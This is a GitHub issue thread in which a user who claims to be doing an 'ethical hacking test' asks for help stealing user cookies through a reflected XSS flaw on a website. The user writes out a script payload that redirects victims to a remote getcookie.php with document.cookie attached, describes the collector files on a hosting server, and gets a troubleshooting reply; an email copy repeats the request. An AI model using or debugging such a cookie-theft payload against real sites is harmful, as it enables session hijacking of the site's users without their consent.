XSS help

[Chrislinuxos]

I'm doing an ethical hacking test, I tested an XSS payload : <script>alert("xss")</script> on a website, and the pop-up appears, so I want to collect user cookie

I created a getcookie.php file and a cookies.txt file and and I uploaded both files to a hosting server,
I placed the two files in the htdocs folder, which now contains index.html, getcookie.php and a cookies.txt

This is the getcookie.php file:

When I try this in the search box: : <script>document.location="http://website.com/getcookie.php?c="+document.cookie;</script>

I get this URL:
https://website2/search/?section=all&query=<script>document.location="http:SLASHSLASHwebsite.comSLASHgetcookie.php?c="+document.cookie;&path=SLASH

and I don't see any cookies in cookies.txt

What am I doing wrong, please? I've tried lot of payloads in the past 3 days but no results,
when I type http://website.com/getcookie.php in a new tab, I get the cookie but it's empty, I get this text : Cookie:

Thank you

[cyb4x]

try to manually set the cookie in the getcookie.php using setcookie function to confirm that it works

…

On Fri, 8 Dec 2023 at 22:58, Chrislinuxos ***@***.***> wrote: I'm doing an ethical hacking test, I tested an XSS payload : <script>alert("xss")</script> on a website, and the pop-up appears, so I want to collect user cookie I created a getcookie.php file and a cookies.txt file and and I uploaded both files to a hosting server, I placed the two files in the htdocs folder, which now contains index.html, getcookie.php and a cookies.txt This is the getcookie.php file: When I try this in the search box: : <script>document.location=" http://website.com/getcookie.php?c="+document.cookie <http://website.com/getcookie.php?c=%22+document.cookie>;</script> I get this URL: https://website2/search/?section=all&query= <script>document.location="http:SLASHSLASHwebsite.comSLASHgetcookie.php?c="+document.cookie;&path=SLASH and I don't see any cookies in cookies.txt What am I doing wrong, please? I've tried lot of payloads in the past 3 days but no results, when I type http://website.com/getcookie.php in a new tab, I get the cookie but it's empty, I get this text : Cookie: Thank you — Reply to this email directly, view it on GitHub <#17>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/A5PID5GGE5K5VGEP557FXM3YINWOTAVCNFSM6AAAAABAND6E7SVHI2DSMVQWIX3LMV43ASLTON2WKOZSGAZTGMRUGA2TQMA> . You are receiving this because you are subscribed to this thread.Message ID: ***@***.***>